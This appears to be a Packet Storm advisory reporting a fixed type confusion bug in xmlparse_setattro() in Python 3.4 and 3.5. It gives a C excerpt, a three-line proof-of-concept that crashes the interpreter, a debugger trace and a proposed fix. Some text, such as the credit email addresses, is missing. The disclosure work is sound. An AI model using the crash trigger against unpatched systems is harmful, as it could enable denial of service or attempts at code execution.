Python 3.4 / 3.5 xmlparse_setattro() Type Confusion

Type packetstorm
Reporter John Leitch
Modified 2015-10-31T00:00:00


                                            `Title: Python 3.4 and 3.5 xmlparse_setattro() Type Confusion  
Credit: John Leitch (, Bryce Darling (  
Resolution: Fixed  
Python 3.4 and 3.5 suffer from a vulnerability caused by the behavior of the xmlparse_setattro() function. When called, the function uses the provided name argument in several conditional statements which assume that the name argument is a string.  
However, if a name argument is provided that is not a string, this logic will make several calls to PyUnicode_CompareWithASCIIString that expect a string, yet receive some other type of object, leading to a type confusion vulnerability:  
static int  
xmlparse_setattro(xmlparseobject *self, PyObject *name, PyObject *v)  
/* Set attribute 'name' to value 'v'. v==NULL means delete */  
if (v == NULL) {  
PyErr_SetString(PyExc_RuntimeError, "Cannot delete attribute");  
return -1;  
if (PyUnicode_CompareWithASCIIString(name, "buffer_text") == 0) {  
In some applications, it may be possible to exploit this behavior to achieve arbitrary code execution. The type confusion can be observed by running the following script:  
from xml.parsers.expat import *  
p = ParserCreate()  
p.__setattr__(range(0xF), 0)  
Which, depending on the arrangement of memory, may produce an exception such as this:  
0:000> g  
(d84.ce0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0086f904 ebx=0086f8fc ecx=0050005c edx=00b60138 esi=0050005e edi=00b60138  
eip=61e9a967 esp=0086f8c8 ebp=0086f8e0 iopl=0 nv up ei ng nz na pe cy  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287  
61e9a967 0fb701 movzx eax,word ptr [ecx] ds:002b:0050005c=????  
0:000> k3  
ChildEBP RetAddr   
0086f8e0 61e9aa35 python35!find_maxchar_surrogates+0x37 [c:\build\cpython\objects\unicodeobject.c @ 1417]  
0086f908 61eabcf3 python35!_PyUnicode_Ready+0x35 [c:\build\cpython\objects\unicodeobject.c @ 1466]  
0086f918 61c547c3 python35!PyUnicode_CompareWithASCIIString+0x13   
[c:\build\cpython\objects\unicodeobject.c @ 10784]  
To fix this issue, it is recommended that xmlparse_setattro() be updated to validate that the name argument is a string and return out of the function early if it is not. A proposed patch is attached.`